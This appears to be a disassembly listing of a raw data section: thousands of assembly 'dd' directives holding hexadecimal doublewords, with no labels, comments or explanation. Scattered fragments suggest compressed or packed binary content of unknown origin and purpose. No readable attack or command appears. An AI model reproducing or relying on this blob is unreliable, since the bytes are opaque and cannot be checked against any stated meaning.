		dd 0E35BB2FEh, 21E13007h, 7356E9B6h, 0E5223CAh,	8944C35Ah
		dd 423854h, 0FB5C352h, 86B1C9BFh, 56963D2Ah, 2C01C829h
		dd 771816D1h, 77EF0C26h, 262C7108h, 52ED127Fh, 38B5CD57h
		dd 1FDE803Eh, 5536164h,	0FCBFF455h, 0B330847Ah,	0E8600C89h
		dd 7B53112h, 9CC8E03h, 43EE019h, 273EA76Bh, 5E1D0072h
		dd 0BD898F51h, 90264D09h, 5DC0284Ch, 76426778h,	92F7D700h
		dd 56270B47h, 0C7AA2CB6h, 0D156A96Ch, 4C491818h, 2267134h
		dd 20711DCEh, 0FA70B52Ch, 0E8C48425h, 0A30B7A4h, 0A85E02E4h
		dd 5AF90BC4h, 0C69F4C1Fh, 0EAC6F123h, 0D1862117h, 142181Dh
		dd 7AC04ED4h, 0C549B5D3h, 91902055h, 90D00758h,	23511393h
		dd 676DF4D9h, 0EFE28101h, 206CDDA5h, 244675F4h,	1CE87B58h
		dd 3A53008Ch, 484A5A8Dh, 650D1DA8h, 2504870Fh, 4E422E30h
		dd 48242084h, 1707CF4Bh, 0F687D890h, 1603B9D5h,	0CA3AA2BAh
		dd 0EA89261Fh, 1680750h, 0DD6AD9BCh, 439DEA01h,	913E8E9h
		dd 7433CDC1h, 0F2387379h, 2A64DCFFh, 90AC969h, 9A1C79B5h
		dd 47CE8A42h, 7DDE214h,	7DD083Fh, 601BB65Ch, 32B58D03h
		dd 52615BA2h, 0CA844C05h, 0E9EC5305h, 8EB60244h, 70001748h
		dd 0ADEA0FAEh, 8204BA17h, 590C9DFCh, 0F8C007C1h, 0BB607680h
		dd 6DE9C4BEh, 0D20614Eh, 3CC4D74h, 0F858E496h, 0B82E058Ah
		dd 0DDA51EB8h, 21FC84A0h, 0E00C192h, 3556540Ch,	523D82Ch
		dd 0CB94468Fh, 0C8E48068h, 3E45E95Fh, 0E1992920h, 376BA07h
		dd 76B120B9h, 0A210FADBh, 2309F6C8h, 3560DD95h,	520154BAh
		dd 80404593h, 4B4932EAh, 280C4142h, 41C53C95h, 1036504h
		dd 5E96346Ah, 50364B29h, 3F21E808h, 6AEAB0F0h, 163F2F5Dh
		dd 62550407h, 8C660001h, 48C3F6DBh, 0FC224B04h,	0E954C676h
		dd 680656EBh, 9CA8B852h, 2D7D265Eh, 3A6543DAh, 2E8F0C49h
		dd 10104D04h, 81646F77h, 0FB2BD6B8h, 472D1082h,	0AC9B0868h
		dd 14F3EC18h, 1EF08B04h, 61684F80h, 7F72F26h, 43391DD4h
		dd 7D06274Ah, 56286A53h, 751AA118h, 541754Ch, 87649868h
		dd 0BE2A69DBh, 4CC142D0h, 0C9E7A468h, 8205A80h,	0BF2B9D8Bh
		dd 82045B12h, 54AE309Ah, 0C7851515h, 3BDB5C03h,	20C430Ah
		dd 0F9850407h, 4184CA21h, 2E47A102h, 9A27B58Bh,	26714FBh
		dd 0F7976845h, 250292A5h, 67CD1C0Eh, 28580C02h,	60325375h
		dd 1AA1B46Dh, 970C914Eh, 5334625Ah, 0A58D04F8h,	0B257A325h
		dd 0F0733115h, 1288D2Bh, 0DC76792Ch, 0CB5E4760h, 0C50AAB2h
		dd 17659D89h, 0FF286422h, 0B97E6E35h, 1F588CF6h, 897C0ECh
		dd 986220F4h, 0C7EF0175h, 89645A27h, 0CF1C4725h, 1FEB5C61h
		dd 0E1BC3102h, 0DA1D1523h, 0A92A106Fh, 26108309h, 2C4D2F11h
		dd 3D883122h, 0B801FC45h, 0D2817FC7h, 0D887A55Dh, 19958B5Ah
		dd 0BD8056E0h, 84B6FFE8h, 100D858Eh, 0E9C88B03h, 7D1F0136h
		dd 39A0F1B5h, 0C03FDB33h, 7FD190CAh, 0CFF6DF15h, 409BA707h
		dd 0BE13F0Fh, 47458F64h, 300CB1AFh, 5F5B63AAh, 85318A04h
		dd 32839BB4h, 0BF2FFFBh, 0F5B50120h, 0E6E9802Bh, 525417DDh
		dd 898D1F52h, 4C03FFAAh, 81C70C24h, 0FF2133A4h,	0B8D38303h
		dd 0BC041530h, 0D45C8BC3h, 51401330h, 0ED81145Dh, 838AF9FEh
		dd 2005281Bh, 89542DC1h, 4FC15D0Ch, 99C281FCh, 0B025A7F4h
		dd 421250Dh, 53F47126h,	9D20DF98h, 31503B08h, 9258D1A4h
		dd 0CB2575FCh, 0C018C8B6h, 0C2D9D453h, 5930B649h, 8C17A88Eh
		dd 9E5B5F09h, 0FE1808BEh, 0D2A4B944h, 0D70400B8h, 64054855h
		dd 0D00F781h, 85D465BBh, 3840BA86h, 197D34B6h, 0C5FE8EAh
		dd 68FBDCEDh, 564D5804h, 61C10A75h, 1023149h, 16731B2Ah
		dd 0D12FCD84h, 721611ABh, 0A22F4A27h, 803D1C23h, 990B7116h
		dd 5C58BBB6h, 3DFCA419h, 29100442h, 5EB68822h, 57082087h
		dd 0C864CBA5h, 8CCD1D02h, 598B92EFh, 20362866h,	510602A5h
		dd 59B4C680h, 3AE92AA4h, 36BDCAAh, 35382E31h, 0DC010A8Fh
		dd 63784500h, 69747065h, 206E1C6Fh, 9766DD49h, 0CBF1072h
		dd 6C501E70h, 0CD735C65h, 0F108202Ch, 6874D464h, 3638E7FBh
		dd 773FF36Ch, 3D673F69h, 0B7643F63h, 3FDF2873h,	6F406173h
		dd 0D91F5264h, 0D06D2A2Eh, 68675420h, 79676B16h, 0AF375B7h
		dd 0A6047F0Dh, 70283301h, 622E7346h, 4C0EC643h,	0D1F6BF2Bh
		dd 1E696C9Eh, 0A0DB6497h, 70A1158Fh, 6C1E0879h,	0C2625F69h
		dd 29647261h, 0F423688h, 73AA6556h, 3DEF4F99h, 1E3925EFh
		dd 63874043h, 4E54496Bh, 118E640Fh, 0C354554Fh,	0FD6F7250h
		dd 0B60F1D10h, 800F8C3Bh, 0D07469E6h, 2DE40F3Dh, 4650E51Eh
		dd 1E8E188Eh, 0C1BDDCA0h, 0C4641658h, 412012Dh,	83A36E89h
		dd 0E115073h, 6835A2D8h, 95A48025h, 10F9A37Eh, 0A1472E6Ah
		dd 7457419h, 16942889h,	1A5824ECh, 82A36E10h, 944419E5h
		dd 88784325h, 8443D6FEh, 6AA34B84h, 69C48C21h, 0C488216Bh
		dd 7C216B52h, 216B5AC4h, 2A61C480h, 0F9100C46h,	0A2E91613h
		dd 0DBD1620h, 953A912Eh, 11100D95h, 0F1858E2Fh,	1D102D4Ch
		dd 2CE24C04h, 90A714F8h, 0BC958D11h, 3452436Bh,	0C3402803h
		dd 0FB893BD4h, 665B6E3Dh, 5584C4D0h, 13A29D22h,	80F04CC3h
		dd 118C65A6h, 78215042h, 842254E4h, 2158421Eh, 225CE488h
		dd 53DC2A7Ch, 0AFB40DEAh, 0CD056845h, 430C5A26h, 907C2180h
		dd 6484C888h, 29743278h, 0C51C132Ah, 710720A6h,	0D8824404h
		dd 0C8CBA7Fh, 406A24C4h, 19A59024h, 0C290BBA5h,	12255B01h
		dd 3B3F2C1h, 30526748h,	0E064ABD6h, 0F28EB1h, 66414DD3h
		dd 57034C72h, 6B198C54h, 0EBCC9000h, 5AF72F5Dh,	2E2900ECh
		dd 7D7F2AB7h, 31000587h, 0BA66C8F0h, 75A9E38h, 81F78A5Bh
		dd 446BC6C3h, 0AF8E0F25h, 52E680EBh, 1C5F0259h,	271AB368h
		dd 0D600BEC6h, 7ADA74DBh, 289FB605h, 81D08CDDh,	3E7DE848h
		dd 0ACC91F00h, 6E445A5Fh, 0EF287C00h, 0E9A8541Eh, 2558F65Eh
		dd 0EC238A0Fh, 66D85360h, 611FC28Bh, 8DD733FFh,	0FBF8EC8h
		dd 19E65B25h, 0C017898Dh, 0EB9E5961h, 8058A80Eh, 99FC57C1h
		dd 23EC838h, 1CF28B8Dh,	3B947F0h, 6F9BE10h, 0F1D87329h
		dd 0CD3D7E1Ah, 0BF648024h, 0F8514EF5h, 7037F8Fh, 9ED0B2EBh
		dd 14CF6011h, 2B5006D1h, 19D0AE9Eh, 450104ACh, 8FB0E883h
		dd 0CC2E8B1Ah, 11378DD3h, 7F7D6750h, 57CD0FD6h,	95005126h
		dd 9E64818h, 17BCA302h,	8B0A880Fh, 0BDC71018h, 1E6C1EEBh
		dd 0C06F92FBh, 66C5D834h, 0C0D07E0Fh, 690560ECh, 1F43D4ADh
		dd 8077E274h, 23010DD8h, 2A29DB7Ah, 0D170043Ah,	102860E5h
		dd 95DEA1FBh, 3B02B718h
		dd 0F8DF21h, 3709507Fh,	76788BD9h, 557D03F8h, 0DAF59103h
		dd 3C229D58h, 3D3E8848h, 7228FA32h, 463F4504h, 9E386150h
		dd 21834303h, 396D25B1h, 0C5C77A8h, 18EA3B31h, 398C7353h
		dd 5C41F3D2h, 8A61EC78h, 69250118h, 0ACE23986h,	2D1F5153h
		dd 1886B39Ah, 2CA1C2h, 0AE8C2ABAh, 3029B6B2h, 48EFE1F0h
		dd 4A11EAACh, 0A1002856h, 6EC29DB7h, 0F203F834h, 586F6120h
		dd 91E000FCh, 9241E251h, 0BB19162Eh, 5A19E583h,	78B766D0h
		dd 84050022h, 2B77F642h, 0E7903B25h, 0FAE2F401h, 0F2E9169Ah
		dd 58EC4EE5h, 3E523064h, 0F9433809h, 9672A600h,	6F7A20DEh
		dd 4C235757h, 2ADAB800h, 4ED6DEE2h, 8244E0A4h, 484961E9h
		dd 907DFA71h, 222C3F0h,	0AC7C812Ah, 3757F300h, 0ACD9360Dh
		dd 0B6740622h, 48E8B725h, 571A3D75h, 102019CFh,	3AF6A1E0h
		dd 0A23CE395h, 0F118EB31h, 21AED372h, 0F2182278h, 75713103h
		dd 493728F5h, 0C02BF088h, 3D513348h, 0E90DB776h, 70921B53h
		dd 64346D20h, 403BF83Ah, 0D5279BB1h, 798A037Ch,	8B532B4Ch
		dd 650EC100h, 0CCBB38E2h, 0B36B06E9h, 40682144h, 0F602B44h
		dd 0AFE1B130h, 31199055h, 155F10CCh, 0A12C1001h, 70C84766h
		dd 9BAB0832h, 90873C03h, 2D42D1FAh, 2A7444F5h, 0BC5031h
		dd 0CE47EB59h, 83C309EAh, 0C6791A67h, 0D9ABC280h, 184EE2BBh
		dd 0B0A6F450h, 2312CB69h, 2C047321h, 0A1003E02h, 51344079h
		dd 56005AE8h, 9A485CBh,	0A8D13BBAh, 3F7AB4h, 9E947938h
		dd 0E61471DBh, 0F62DD812h, 4825B022h, 0D10D581Ch, 49788859h
		dd 8B1F54D5h, 0D25FC079h, 0AEE27692h, 24D41353h, 0DC9AA8C9h
		dd 0AD60B151h, 2180D5F5h, 0AB09AF60h, 1DEA2C1Ah, 6419D660h
		dd 0C19B5332h, 0CB57ED91h, 0A1202027h, 0D800FA72h, 7638491Dh
		dd 15ABB7A3h, 14346DCEh, 0AF649D81h, 0F5304105h, 53F0092Ah
		dd 0E8177C92h, 68DA61F7h, 0D8DE664Ch, 22000CF2h, 0B2DF64B1h
		dd 1417B488h, 907753C3h, 3460D98Eh, 16CA2C9h, 0A8E1E709h
		dd 4304114Bh, 280B6831h, 42D9AAC2h, 48E4001Dh, 0F361392Eh
		dd 0DF3459C2h, 989C4B03h, 18C09E8Eh, 6174B625h,	3E007376h
		dd 0EBB3AC29h, 91247279h, 0C00F101Ch, 0E0543443h, 2AE228BBh
		dd 3F9D2198h, 327E3B08h, 23188518h, 0ED218498h,	0A93F083Ch
		dd 5C59DA00h, 99BED9h, 272D5AB4h, 0BAB18BB5h, 890A4C39h
		dd 204AA01Dh, 0FB337FECh, 9A31E24Fh, 80C60C18h,	5230592Bh
		dd 0E8D0247Bh, 0DCE508FCh, 656F006Eh, 0F5D93892h, 33436901h
		dd 0E6957FA9h, 77A2084h, 53D0C21Dh, 97E6209Ch, 3A80048Ch
		dd 9029834Bh, 0BAE14AC4h, 84A3352Ch, 0F6ABD706h, 211F6008h
		dd 86BAE969h, 4ADA6700h, 4449B5E2h, 95DC5C5Ch, 0DB388002h
		dd 2048EAD0h, 0B6007556h, 1930BC06h, 78E5D9A9h,	0A52803A2h
		dd 2F844E62h, 0C0745902h, 8073B5D8h, 0E42A0480h, 49DD62D1h
		dd 0F84054BBh, 160C7E64h, 86E5C76h, 1921CFEFh, 1CDF7920h
		dd 0FA0ECB14h, 0A124C9B5h, 9BBBB75Dh, 9492D044h, 48F82C68h
		dd 0BADC048Ch, 62C6A330h, 0E46C2012h, 0DF0107BAh, 3DAAE65h
		dd 3C207BF4h, 0B09952h,	2F175AE2h, 6F007CBCh, 0C9CF29C4h
		dd 2675BBh, 1543D60h, 0E24147A0h, 0EE71BD0Ah, 4674C0B1h
		dd 0B5100F1Dh, 8C884034h, 9AD6B745h, 0E4914DB8h, 31218418h
		dd 4B007FD2h, 974CB96Ch, 1EC7B5Eh, 80F5C5C2h, 0E2F0FAEAh
		dd 3A9A7E0h, 0A10770B8h, 16644A6Bh, 5BDB5410h, 3AE9C052h
		dd 0E3E9349Ah, 4E1EF003h, 3016F936h, 39218708h,	7A01E92Ch
		dd 8427F59Fh, 7D5F6F4h,	5C2828E6h, 8B077E46h, 5ECFCDEEh
		dd 1B478100h, 4082D7D2h, 71E434DDh, 0AC252CCEh,	0FC5A40D4h
		dd 0F037D653h, 0B4CA29B7h, 114674h, 0FB25727Fh,	303287Bh
		dd 76A1886Ch, 5902E6D2h, 90F6B10Dh, 18BE4029h, 0ADBC0188h
		dd 6749D1ABh, 9D91CCC5h, 8C2B5200h, 5070A380h, 0DBAC0AE3h
		dd 0DEB03B01h, 0D2FD9801h, 5C57E566h, 15B4BEF4h, 0B4320330h
		dd 0E8824200h, 14BB09A8h, 66217E0Ah, 46748075h,	53E00710h
		dd 899F0180h, 10A48B17h, 0F04ABCFCh, 112E6066h,	0BDA7C8Ch
		dd 75AD8E1Bh, 0FB4CE0B1h, 0D6B607B9h, 75BBB18Ah, 0C0D4D221h
		dd 1CE4C447h, 2AF0AD63h, 0A47D98F9h, 0AAF55C1Fh, 87FC6D4Eh
		dd 0ABD00558h, 90F5474h, 0EA47FA7h, 0ECD18083h,	0AB1B9900h
		dd 0AFD06636h, 0BC2500DAh, 9DCD4450h, 19060EE6h, 7982FD3Fh
		dd 4784AFC9h, 2DCCE0DDh, 79C2DAFCh, 0E0480D92h,	7416569Ch
		dd 82A9228Ah, 1B282D01h, 63B23C2Bh, 1819FEF3h, 4152FBB9h
		dd 72B855DDh, 34039D18h, 1801021h, 352972C4h, 47FA7B70h
		dd 0D8E5C481h, 790855A0h, 0C476643Fh, 5D1A40E7h, 165D779h
		dd 5E308BEAh, 359A6FB7h, 62E4ED9Ch, 1C138834h, 7082C966h
		dd 57F1C820h, 68B01843h, 289FA71Dh, 0DB016CD6h,	0FAE251ADh
		dd 86207867h, 47882087h, 0DB53C138h, 33C4585Ah,	0F021E97Ch
		dd 2B20CE16h, 7D533BE9h, 1F2D5E0Bh, 761884AEh, 0C3555840h
		dd 9A48F331h, 0F472344h, 0A3C4BADDh, 3C4CEBEh, 75BAE56Dh
		dd 65FDA007h, 725127E8h, 71843038h, 0E88A11C0h,	366DC6Eh
		dd 0A934E016h, 0AFB89678h, 2CB98F2Bh, 3E839C08h, 0F212785Ch
		dd 839087DAh, 24C0D420h, 0ED1AB3F6h, 2283006h, 0C698BFD4h
		dd 8A254470h, 9279D003h, 7A7DEF9Fh, 9496F220h, 0A3F800C8h
		dd 0E49BDDC8h, 64582A00h, 0A04C3878h, 0F0E00E2Eh, 40167A57h
		dd 0D5668708h, 0B900346Dh, 0F0D41AA0h, 33B1280Ch, 0F9890725h
		dd 0A1FB5106h, 6316AB7h, 879F5FBBh, 0B30B807Ah,	8745D005h
		dd 0ABC36480h, 3D180485h, 11F6BF5h, 7C53AF99h, 0B351E900h
		dd 0DE8B6207h, 8C15BF91h, 30F79421h, 0DA923087h, 161F83B3h
		dd 8D60103Fh, 701AAAD0h, 803AE7F0h, 8CA45B84h, 0B766B100h
		dd 0CF68394Eh, 0C3F0A1A1h, 22F964D0h, 8C03F29Ch, 25D930B1h
		dd 0F35DA985h, 201CB052h, 0E26DC031h, 0D427A524h, 0A1C2D440h
		dd 66F8F8h, 9C932660h, 0EF14241h, 591E4E12h, 0E7FB7083h
		dd 586EF3B1h, 31A8839h,	0CC600854h, 230990A0h, 0EABAD33Ah
		dd 9043764h, 0C8A2B003h, 0B448F953h, 37503952h,	617B84DCh
		dd 8291DC05h, 9C0F9FE6h, 0F71EE153h, 35ED523Dh,	7DC229BBh
		dd 888D3944h, 9400D116h, 4D707105h, 2B2AACh, 0D962F806h
		dd 0F9B93D5Ch, 67E6F705h, 0FCC06441h, 0AEF198h,	66650BC2h
		dd 0B4F59C52h, 3909C001h, 53EBB1E5h, 54BCC4h, 0AE2EDD06h
		dd 9F452D7Ch, 6F073Ah, 0AAA621A5h, 44A724h, 84559A8Eh
		dd 0EE9E5BE6h, 1400DC9Ah, 12040C85h, 0FBE3CB06h, 60809870h
		dd 0F50F118Eh, 0A01C6E9h, 59F06311h, 5CC4D456h,	3031025Fh
		dd 7D671797h, 0DC25E783h, 36338FF0h, 0E2993Dh, 8AC97903h
		dd 60F387DBh, 358CBCF4h, 0EB01A5F9h, 0D1A6C7FEh, 822B149Ch
		dd 0C8A530F1h, 67C4C35Bh, 46F473B8h, 0C207AAFCh, 9D96F870h
		dd 807D4FF3h, 267FDAh, 6095B19Fh, 30842250h, 806A053Ah
		dd 7D28AEC5h, 7488D29h,	8A1F9C2Dh, 6F760054h, 200834Ah
		dd 84B93339h, 3D7B79D6h, 77FDAE2Fh, 78380406h, 8054EC1Ch
		dd 1BBD119Eh, 0F7B4A4A0h, 32D8FE00h, 0C6608672h, 4BA602A8h
		dd 7D2E0543h, 0E9569060h, 0C300F4FAh, 0FA7C74A9h, 16B7F1h
		dd 4E3C2075h, 0BA436E6Fh, 0F7C5B800h, 401CF5B4h, 9B750052h
		dd 9F12B3C2h, 0CBFC9659h, 76176300h, 0DAA12EFBh, 0F33B0058h
		dd 0B5BFF6E2h, 1C0024A9h
		dd 42FB3905h, 3CE8EF8Bh, 4C0135C4h, 9E443071h, 0D32B3008h
		dd 6584A400h, 0D6BC5522h, 0C8FB3B5Dh, 0F1214B80h, 0AC63A8FFh
		dd 6506E00Eh, 6E44402Ch, 12D4815Ah, 400427A2h, 0A0E86994h
		dd 800756Dh, 6BC14265h,	30549h,	741193E0h, 0B079FB01h
		dd 52E50900h, 0AAFE0AC8h, 501F246Fh, 560F0054h,	4D1E5C26h
		dd 0C83A2377h, 0F45D0077h, 844169ACh, 0A4600E8h, 0D0E066E2h
		dd 0DE03779Ch, 0A021C85Ch, 87409894h, 2C354878h, 0F0E0B73Ah
		dd 7F129FA1h, 0C2F2280Fh, 0E13182C1h, 745065h, 829C6353h
		dd 0D508CFE4h, 0B5F95B00h, 3CAEE78h, 0F23C00EAh, 0ACE57FAEh
		dd 0F124F301h, 410704DBh, 0F510FF4Ch, 179AACFh,	72EF424Bh
		dd 802AA655h, 7B9E0580h, 0E4235727h, 81100284h,	73E8D747h
		dd 1E020050h, 4E8E6965h, 0A4C44022h, 0B95A04EBh, 902AED32h
		dd 687CE2B0h, 1E0C7490h, 19A66DB3h, 0A1491807h,	9FB63921h
		dd 81871E08h, 3A45848Dh, 40520067h, 30B10A9Eh, 64306A89h
		dd 6001BBBh, 0F510A88Bh, 5547FACh, 0D62AF78Eh, 58B88043h
		dd 1E0365BBh, 2508DD89h, 0E463A80Ah, 61D30018h,	0C1A0DC1Ah
		dd 20399D23h, 0CCF300F6h, 6B55744Fh, 0E1DFC4h, 370409C3h
		dd 8D09B66Ah, 2FC5EEh, 80854F75h, 1CEC00BBh, 0ABA16827h
		dd 4E0360A7h, 9AD41320h, 4A64C88Ch, 0D215001Ch,	0C428689Ch
		dd 0FCA0E478h, 1F032F51h, 0E6CCDC22h, 0EAA6884Bh, 4C07066h
		dd 9579CF4h, 883480CAh,	2E00D50Bh, 0BD649A9Eh, 0EAE308F1h
		dd 0E2533D98h, 698B42Ah, 5AA257F5h, 24031197h, 725DCE64h
		dd 60C1E414h, 6420E2A9h, 0C76E002Ch, 3EE7EE02h,	0C60073BEh
		dd 2B85CB65h, 74075F3h,	1EC48B48h, 0C007E4BBh, 78C95860h
		dd 0F6D68E00h, 94928F54h, 0E45904A0h, 835A27EBh, 0C1F39518h
		dd 0E35C1AA8h, 44DBAD18h, 0A09E4620h, 4A08E4h, 9F624FD9h
		dd 4C93A4C2h, 39334200h, 4B88A683h, 55D3016Ch, 0DF165E60h
		dd 0CCC8803Fh, 0E00C6873h, 0DA400A9h, 5598D775h, 316E957Ah
		dd 65B9A059h, 0E814D1h,	8D0BD0B0h, 0CCA267A0h, 0AFDBB50Fh
		dd 71212082h, 69893Fh, 49627BFh, 5618B1C4h, 55549F03h
		dd 0BDEF775Dh, 0E2710CEEh, 3F79D670h, 0EB369618h, 3E75B610h
		dd 0CA808943h, 4599DBE5h, 6772DF0Bh, 0DD7420C0h, 9057F3B9h
		dd 994C1D58h, 40C3D661h, 0C6DB82C4h, 627803E9h,	41E82C0Eh
		dd 69534080h, 7D286BF0h, 0E61098F3h, 3C8C9013h,	84012D81h
		dd 7CB10DF4h, 797FCDE9h, 1F400EECh, 630B80CBh, 0ACD07A4h
		dd 0BC2BD3FCh, 0D583008Ch, 0D6944F78h, 0CA3F10C0h, 14682891h
		dd 906DED84h, 32D41E00h, 0B73BB3D1h, 6272AB00h,	5524FB64h
		dd 0F26000B8h, 80D93A63h, 0B3003719h, 0A48CFFB4h, 0F30C25h
		dd 5D4E97FEh, 0F0A72B73h, 1A007096h, 6D09901Dh,	0B8410174h
		dd 0B92171Eh, 0B940E46Fh, 0A8A70FFh, 18E58C00h,	0CD74AA86h
		dd 0BFF500FAh, 386E8A19h, 24011091h, 0E095DEEh,	0B0305E80h
		dd 1A270B0h, 0C41876A7h, 60E599D0h, 4D00D884h, 0D732E27Ch
		dd 2E4B9883h, 1200F87h,	0C06E8245h, 7F74F4A2h, 165A7758h
		dd 0C44F3271h, 6096A020h, 8E9B9h, 9CA02CD3h, 9EEBF66h
		dd 9B2DD41Ch, 0BAC26540h, 0B0B0C4FEh, 205501B8h, 0BCB8FD99h
		dd 2A97D41Dh, 63CD9302h, 6045D91Ch, 30ABD6F4h, 2A690F5Bh
		dd 960030E5h, 91576765h, 0D8D9EAh, 59616C12h, 0D4DDEC93h
		dd 56680E00h, 0DBED945Ah, 6E1428DAh, 1CE07910h,	405B6F15h
		dd 0F0E60795h, 754BAB79h, 81FB6440h, 1F9EB52Eh,	3AB356B7h
		dd 0D8065C3Ah, 8936EC5Bh, 0D6D0B900h, 2F9606ADh, 0F72E74A3h
		dd 4EF955D0h, 0A9E44099h, 365A764Dh, 643E1618h,	2B4C08h
		dd 0E14244B2h, 9BC2457Fh, 8D330A00h, 2CBE3B5h, 0E2E80064h
		dd 0C871A020h, 0DB06CC49h, 8C1D51E0h, 4E640758h, 40D6FB16h
		dd 65C3F36h, 0B3993760h, 18A5B76Eh, 716671F5h, 0BC580864h
		dd 644A5FE9h, 0B50C64E8h, 743DE886h, 0BB5314A6h, 841C14B6h
		dd 91DD0009h, 83E33CBFh, 473FEF00h, 0AFA5E769h,	58C4E03Dh
		dd 0FA00E2DAh, 7729D936h, 106A2F3h, 2F82D13Bh, 0A1D66F49h
		dd 0A03C0324h, 0D0402578h, 69382552h, 0FFC18C02h, 25360822h
		dd 0DA140419h, 429D486Fh, 0ED223835h, 30B600CFh, 5000E5F4h
		dd 0CA4C6D90h, 3D7E60Ah, 5D7C7942h, 0C6B859D9h,	847BA147h
		dd 0D1782E00h, 852BE1CEh, 7C320046h, 29DFD4D5h,	0CBFCC519h
		dd 1C9C5948h, 0CFCBE674h, 0BA422B9h, 5A407E0h, 8418940Dh
		dd 8CB8D1F8h, 0C035C5BFh, 0D231FD52h, 0D1E8190Fh, 4B314080h
		dd 5F2F6A4Ah, 16D011C0h, 0C640FFh, 2E9A50C4h, 0B3A687A0h
		dd 0BBE3F40Ch, 17D50682h, 0F22614h, 81BE57D4h, 0B7000905h
		dd 84808341h, 1626682Fh, 0B176E0Fh, 0A4181B9Ch,	2300E41Ah
		dd 24131D0Eh, 180C60DDh, 80739229h, 96002AD1h, 7BCEDC9Ah
		dd 9F7827Ch, 5C04DFD5h,	2E44182Fh, 0AC854Ah, 2C781EB4h
		dd 3300DA10h, 0A9508672h, 1DE91F17h, 2E6A4E3Eh,	1C84B8BCh
		dd 90BCF97Dh, 972653FCh, 1057D904h, 0F4804BDDh,	5F9FD2h
		dd 0E524111Fh, 3076BE68h, 0FCE1EE0Ah, 7C009C66h, 0B4FE28F9h
		dd 6BA214E9h, 4000B80Bh, 0FD026DC3h, 0FA7906C8h, 6C915614h
		dd 0E4A075F4h, 7F54B722h, 0C5005CD4h, 4B040A47h, 3F4506h
		dd 7DD280B5h, 0DAC89C2Eh, 661D2601h, 0DBE68911h, 903C7EF5h
		dd 0A92ED000h, 41524584h, 0A13E0092h, 0F2EC00BEh, 915937C6h
		dd 0C069DC31h, 0A7C20B8Fh, 0B1F00D73h, 87F9B00h, 0DC30E6DAh
		dd 34613094h, 0BCC4EC0h, 0B0CA0603h, 0A0EA7B2Ah, 0BBE855h
		dd 79106386h, 0FC509DDCh, 1C984300h, 0BDA48F7Bh, 787E79B3h
		dd 56DF00A3h, 0FA84CBD2h, 0F010135h, 22B41D34h,	84509D20h
		dd 0E2F6999h, 8679C536h, 0A33B160h, 4DE89A4Ch, 599CE405h
		dd 9F00CAF5h, 0DBF2FEC4h, 0CD74C039h, 0C6FA29B4h, 79ECC1Dh
		dd 0ED0C9EFCh, 1B2AE8F0h, 0F49B0051h, 0AF6BAB7h, 0CF01427Ch
		dd 3AA09C28h, 6AD80C93h, 0FCE0C3h, 0CBABFEA4h, 0F8090F14h
		dd 4E6170C0h, 378B93h, 0A5E21A67h, 0BC5EC3B4h, 0C1011175h
		dd 7B80F80Eh, 58D84C71h, 473E0020h, 989B1F73h, 68C7942Ah
		dd 0F24095ACh, 565187h,	0CCAF9F7Ah, 0A2DBF474h,	6D7E1900h
		dd 0BF1C4E0Ch, 7146075Fh, 46184B9h, 6C8739h, 59FFB5C3h
		dd 0B3694900h, 5BBC10Ch, 1E64905Fh, 2BC0DB4h, 5E5A6204h
		dd 0AD492E60h, 0FA273470h, 80CC285Ch, 46CF400h,	9048F9FCh
		dd 0CCB6006Ch, 506465FAh, 0DE01E38Ah, 2D9A61E6h, 5D00672Eh
		dd 5600772Fh, 48AA76B5h, 0EF9BD833h, 6330C521h,	1A6300B9h
		dd 0CEE0270Ch, 0AA0E1E01h, 17F7345h, 3A6CB872h,	1767FCE8h
		dd 0BF14484h, 0AC80DDA0h, 32F9F8FFh, 12F43490h,	7AA2CF1Eh
		dd 75C98480h, 7D1542h, 0D88DAEC6h, 0C12077C5h, 3E12A3E2h
		dd 7C40DF3Dh, 0F62876BFh, 7D5C0078h, 426CC761h,	0B700022Ch
		dd 96B8B6E7h, 3F11233Bh, 5B8F679h, 9D6F0078h, 1993E3A8h
		dd 650046F4h, 16139EA7h, 121C2B9h, 39E97903h, 0C0C7ED1Fh
		dd 0B3000620h, 167A53EBh, 0FA81A9h, 5F8CCF60h, 63304605h
		dd 66DC200Fh, 3AA4202Dh, 1C9E28FEh, 0CEF7B138h,	0CA441B35h
		dd 0FA52806Dh, 4E001691h, 250C21EAh, 0F2DBFEBh,	22A34A08h
		dd 5B441B3h, 0FC47683Dh, 724FF9DBh, 0FB7409h, 4C2C3A4h
		dd 82110EB2h, 25E901EAh, 485B7800h, 0D7007E34h,	0C66CE7D4h
		dd 9AF206h, 1ADDD553h
		dd 701B75D3h, 0F5814300h, 7DFFCEBAh, 39450027h,	0A23B4688h
		dd 3C76C910h, 58927917h, 5671440h, 397CED03h, 5848A353h
		dd 7176FA0Fh, 0E87F6AE0h, 0FB009233h, 0A80C051Ch, 3C639121h
		dd 0F2AEA0EEh, 0B532805Ch, 6BE57188h, 35C0D900h, 0E7738AAFh
		dd 0C1D83064h, 0D4728BB8h, 78D01C2Ch, 0D2809049h, 892F09E5h
		dd 11833C38h, 65B24671h, 7AB87CC0h, 2CA57805h, 749029E4h
		dd 7DF0586h, 0E26C6D38h, 3085B7C7h, 9A3C9997h, 299B5230h
		dd 0B8F5900Ch, 625C0213h, 775A75F3h, 2F00D870h,	36E9B9EFh
		dd 78CA0927h, 0F44100FEh, 73BF69B4h, 6F1CF935h,	0E6407F42h
		dd 0B010789h, 0E558D06Ah, 9915BC01h, 0F5DC6BA1h, 4FD820ECh
		dd 67824A00h, 51A5E566h, 3EB21D53h, 0B15C9E2h, 2A95B800h
		dd 0A60005C0h, 58FAD398h, 2DF7EEh, 0F84F8C79h, 0C3363E73h
		dd 0E30E8690h, 2231C7C0h, 80E4C496h, 74F5A3CCh,	37D558FAh
		dd 6AEF4501h, 4077EE25h, 103DBFD4h, 23151307h, 0D0E063DCh
		dd 30EAE30Dh, 0D4988A4Fh, 0CC00D308h, 1064A9E7h, 3E4B86h
		dd 0A896EE8Fh, 0F79E174Ch, 1CC3B300h, 0AB2F1189h, 4020E7D0h
		dd 7080019h, 5D4DCCB5h,	0F2F2BDC1h, 0FA00DA48h,	0D9BF6421h
		dd 2EB10080h, 0E74ECC02h, 220F0B20h, 442BCFDFh,	0C3960C25h
		dd 0C8B2A54Ch, 2259A4C8h, 2C5B7A40h, 81A0C2D0h,	94877EABh
		dd 32118102h, 0F7E8E273h, 0DDB84B2Bh, 0CA07F044h, 0D3E2FB0Dh
		dd 6E8E8051h, 0C067C24h, 4A319E8Bh, 33006129h, 0A82F981Ah
		dd 0BA3C8Dh, 37C30BFDh,	0B8428BB6h, 0BF0F3100h,	438A773Bh
